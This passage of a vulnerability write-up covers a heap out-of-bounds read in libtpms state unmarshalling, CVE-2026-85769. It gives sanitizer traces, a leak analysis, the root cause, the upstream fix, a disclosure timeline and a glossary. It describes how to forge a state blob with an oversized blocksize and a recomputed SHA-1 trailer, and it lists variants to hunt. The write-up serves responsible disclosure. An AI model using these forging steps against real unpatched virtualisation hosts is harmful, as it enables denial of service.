UINT16_Unmarshalread the byte, called fromNV_HEADER_UnmarshalVerbose, called fromNV_HEADER_Unmarshal, called fromSTATE_CLEAR_DATA_Unmarshal, called fromVolatileState_Unmarshal, called fromVolatileState_Load, called fromTPM2_SetState, called fromTPMLIB_SetState.
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)Shadow bytes around the buggy address:=>0x525000007300: 00 00 00 00 00 00 00 00 00 02[fa]fa fa fa fa fa
Line by line:
- The faulting address is 8 bytes after a region of 8778 bytes, which matches the arithmetic.
- Shadow bytes are AddressSanitizer's bookkeeping: for every 8 bytes of real memory it keeps one byte describing how many of those 8 are addressable.
02means two bytes are valid,famarks a redzone (unaddressable padding). - The
[fa]in brackets is the shadow byte for the 8-byte group containing the faulting address, so the fault is in the redzone.
The shadow bytes confirm the arithmetic: 02 covers 0x7348-0x734f with two bytes addressable, matching a region ending at 0x734a; the faulting address 0x7352 sits in the following fa redzone.
The fault is not in block_skip_read, which advances the cursor and returns without reading. The damage lands on the next structure read, STATE_CLEAR_DATA_Unmarshal reaching for an NV_HEADER. The instrumentation from the previous step is what ties the two together. The faulting address, region and overshoot are identical on master and v0.10.2.
Step 9: check whether it leaks
Rebuilt without AddressSanitizer, overreads return adjacent heap instead of aborting. The question is whether any of those bytes can be read back by the attacker.
| Overshoot | blocksize |
SetState(VOLATILE) rc |
|---|---|---|
| 1 byte | 8603 | 0x1e |
| 8 bytes | 8610 | 0x1e |
| 16 bytes | 8618 | 0x1e |
| 64 bytes | 8666 | 0x1e |
Line by line:
- Each row is a different overshoot: 1, 8, 16 and 64 bytes past the end.
blocksizeis the forged size that produces that overshoot.rcis the return code fromSetState(VOLATILE). In every case it is0x1e.
0x1e is TPM_RC_BAD_TAG. The error output was:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
Line by line:
- The message comes from
NV_HEADER_UnmarshalVerbose. - It says the magic value is invalid. A magic is a fixed constant at the start of a structure used to recognise it, like a file signature.
- It expected
0x98897667and got0x00000000.
After the overshoot the next read is an NV_HEADER, whose first field is a 32-bit magic that must match a constant. Adjacent heap satisfies that with probability about 2⁻³², which is negligible. VolatileState_Unmarshal returns BAD_TAG, VolatileState_Load fails, TPM2_SetState fails, and ClearAllCachedState() discards everything. No out-of-bounds bytes reach TPMLIB_GetState.
So the ceiling is C:N: denial of service and undefined behaviour. C:N is a CVSS impact rating meaning no confidentiality impact (no data leak). Going further would need heap grooming, arranging the heap so that STATE_CLEAR, STATE_RESET, sessions, objects and PCRs all pass their magic and consistency checks. That was not demonstrated and is heavily constrained. Red Hat's review reached the same conclusion independently.
Root cause
The skip in block_skip_read() advances the unmarshal cursor by a UINT16 read from the blob without bounding it against the remaining size, and the remaining-size counter is a signed INT32 that goes negative. Every scalar guard is written as (UINT32)*size < sizeof(...), so a negative counter becomes a huge unsigned value and the check passes, every read, every time. The correct signed comparison already existed in Array_Unmarshal three functions away.
The integrity check did not stop it because it is an unkeyed SHA-1 over the blob body compared with the trailing 20 bytes: recompute it after tampering and the blob is accepted. On a migration channel the sender is the party you are defending against, and the shared migration key is held by that same sender.
Impact
A forged volatile blob passed to TPMLIB_SetState() produces a heap out-of-bounds read and, under AddressSanitizer, an abort. In a non-instrumented build the parse fails on the next structure's magic and the cached state is cleared, so the demonstrated outcome is denial of service and undefined behaviour, not an information leak. The precondition is that an attacker can supply the state blob, which in practice means a compromised migration source in swtpm. The demonstrated ceiling is C:N.
The fix
The patch sent bounded blocksize at the skip:
if (*size < 0 || (UINT32)blocksize > (UINT32)*size) { rc = TPM_RC_INSUFFICIENT;} else { *buffer += blocksize; *size -= blocksize; *skip_code = TRUE;}
Line by line:
if (*size < 0 || (UINT32)blocksize > (UINT32)*size)rejects the skip if the remaining size is already negative, or if the declared block is larger than what remains.rc = TPM_RC_INSUFFICIENT;sets the error code.- Otherwise the original skip runs: move the cursor, reduce the remaining size, mark the block as skipped.
Upstream fixed it at the primitive layer instead, in commit 9e1475ff, titled "tpm2: Add checks for *size < 0 before casting it to UINT32". block_skip_read() still walks the cursor off the end; the next primitive read refuses to act on a negative *size. That closes the class rather than the instance: every record type funnelling reads through those primitives is covered by one patch, and there were eight.
Verified against 9e1475ff and its parent ba73ab17, both under AddressSanitizer:
ba73ab17 : blocksize=0xFFFF -> ASan SEGV in UINT16_Unmarshalba73ab17 : blocksize=S+1 -> heap-buffer-overflow READ, 1 byte past region9e1475ff : all attack cases -> TPM_RC_INSUFFICIENT (0x9a), no ASan report9e1475ff : valid blob -> rc=0
Line by line:
- On the parent commit, a huge
blocksizecauses a segmentation fault inUINT16_Unmarshal. - On the parent commit, a
blocksizeone byte past the remaining size causes a heap-buffer-overflow read one byte past the region. - On the fixed commit, all attack cases return
TPM_RC_INSUFFICIENT(0x9a) with no sanitizer report. - On the fixed commit, a valid blob still loads with return code 0.
Still open as a design question: keyed integrity for state accepted over a migration channel. The unkeyed SHA-1 provides no authenticity, which is why a mutated blob gets parsed at all. swtpm is arguably the right layer for that, not libtpms.
Timeline
2026-09-01 Reported privately to the libtpms maintainer libtpms issue 2026-09-04 Fixed upstream in 9e1475ff (PR 2026-09-04 Reported to Red Hat Product Security2026-09-04 CVE-2026-85769 assigned, Moderate, 6.5
Line by line:
- On 2026-09-01 the issue was reported privately to the libtpms maintainer and tracked as a libtpms issue.
- On 2026-09-04 it was fixed upstream in commit
9e1475ff(pull request). - On 2026-09-04 it was reported to Red Hat Product Security.
- On 2026-09-04 CVE-2026-85769 was assigned, rated Moderate with a CVSS score of 6.5. A CVE is a public identifier for a known vulnerability. CVSS is a scoring system for severity.
Credited to Isuka Sanuj (CyberCrew Inc.). The report links https://github.com/isukasanuj/CVE-2026-85769.
Variants to test
- Other optional-block skips. Search for
BLOCK_SKIP_READand check which call sites passFALSEforneeds_blockand are reachable with a compile-time switch in its permissive state. A positive result is a trailer whosehas_blockbyte can be set to0x01with a largeblocksizeand whose instrumentation shows the cursor moving past the end of the allocation. - Signed counters compared after a cast. Search for
(UINT32)*size <and similar patterns in any deserialiser. A positive result is a negative remaining-size value that passes a length guard and is followed by a read. - Unkeyed integrity over attacker-supplied state. Look for SHA-1, MD5 or CRC checks over save files, migration blobs or import formats where the sender is not trusted. A positive result is a mutated blob that is accepted after recomputing the trailer.
- Offset drift in reproducers. Instrument the parser to print the offset of each candidate field instead of counting bytes, as done here with one
fprintf. A positive result is a stable offset confirmed by two independent methods, on both the release and master trees. - Deliberate redzone landing. Size the overshoot to end a few bytes past the allocation rather than using
0xFFFF. A positive result is an AddressSanitizer report that states the exact overshoot and the region, which is a stronger artifact than a wild-pointer segmentation fault.
Takeaways
Saved state is a parser. Suspend/resume, import/export, migration: each one is a deserialiser that sees less attention than the primary input path. Ask who gets to hand it a file.
(UINT32)*size < sizeof(x) is not a bounds check. It behaves like one until the counter goes negative, then it inverts. Search for casts inside comparisons; this codebase had the correct signed form three functions away.
Unkeyed checksums detect corruption, not tampering.
Instrument the parser to find offsets. Issue #614 notes that 5 of its 8 reproducers did not fire because of offset drift. One fprintf is the answer to that.
Land the overshoot deliberately. A redzone hit with an exact byte count is a stronger artifact than a wild-pointer segmentation fault.
Prove where the bug stops. The section showing it is not an information leak carried more weight with reviewers than the sanitizer trace.
On the building side: version state with something keyed, keep remaining-size counters unsigned or compare them signed, and treat your own save files as hostile input, because on a migration path they are.
Glossary
- AddressSanitizer: a tool added at compile time that detects out-of-bounds memory accesses and reports them with a stack trace.
- Big-endian: a byte order where the most significant byte comes first.
- Blob: a chunk of bytes treated as a single unit, here a saved TPM state.
- Bounds check: code that verifies a length or index stays within an allowed range before using it.
- Call stack: the list of functions currently active, from the innermost to the outermost.
- Cast: converting a value from one type to another, for example signed to unsigned.
- CVE: a public identifier assigned to a known vulnerability.
- CVSS: a scoring system that rates the severity of a vulnerability.
- C:N: a CVSS impact rating meaning no confidentiality impact.
- Denial of service (DoS): making a system crash or become unavailable.
- Deserialiser: code that rebuilds live data from a saved byte format.
- Fuzzing: automated testing that feeds random or semi-random input to a program to find crashes.
- Heap: the memory area used for data whose size is decided at runtime.
- Heap grooming: arranging heap contents so that later reads land on attacker-chosen data.
- HMAC: a keyed hash that requires a secret, so an attacker cannot recompute it.
- Integrity check: a check that data has not been altered.
- libtpms: the library that implements TPM 1.2 and TPM 2.0 emulation.
- libvirt: the management layer used to control virtual machines.
- Live migration: moving a running virtual machine from one host to another.
- Magic: a fixed constant at the start of a structure used to recognise it.
- malloc: the C function that allocates heap memory.
- Marshalled: packed into a byte format for transport.
- MITM (man in the middle): an attacker intercepting traffic between two honest parties.
- NV state: non-volatile state, data that survives power loss.
- Optional block: a length-prefixed chunk in a format that a reader may skip if it does not need it.
- Out-of-bounds read: reading memory outside the region that was allocated.
- Parser: code that reads a structured byte stream and turns it into meaningful data.
- PCR: Platform Configuration Register, a TPM register holding measurements.
- Permanent state: TPM state that survives power loss.
- Redzone: padding around an allocation that AddressSanitizer marks as unaddressable.
- SEGV (segmentation fault): the operating system killing a process for touching memory it should not.
- Serialisation: turning live data into a byte format that can be saved or sent.
- SHA-1: a hash function producing a 160-bit fingerprint; unkeyed, so anyone can recompute it.
- Shared object (.so): a library loaded at runtime.
- Shadow bytes: AddressSanitizer's per-8-byte bookkeeping describing how much memory is addressable.
- swtpm: a software TPM program that uses libtpms.
- TPM (Trusted Platform Module): a chip or software component that stores secrets and measurements.
- UINT16 / UINT32 / INT32: unsigned 16-bit, unsigned 32-bit and signed 32-bit integer types.
- Undefined behaviour: a program doing something the language does not define, so the result is unpredictable.
- Volatile state: TPM state that is lost when the TPM is powered off.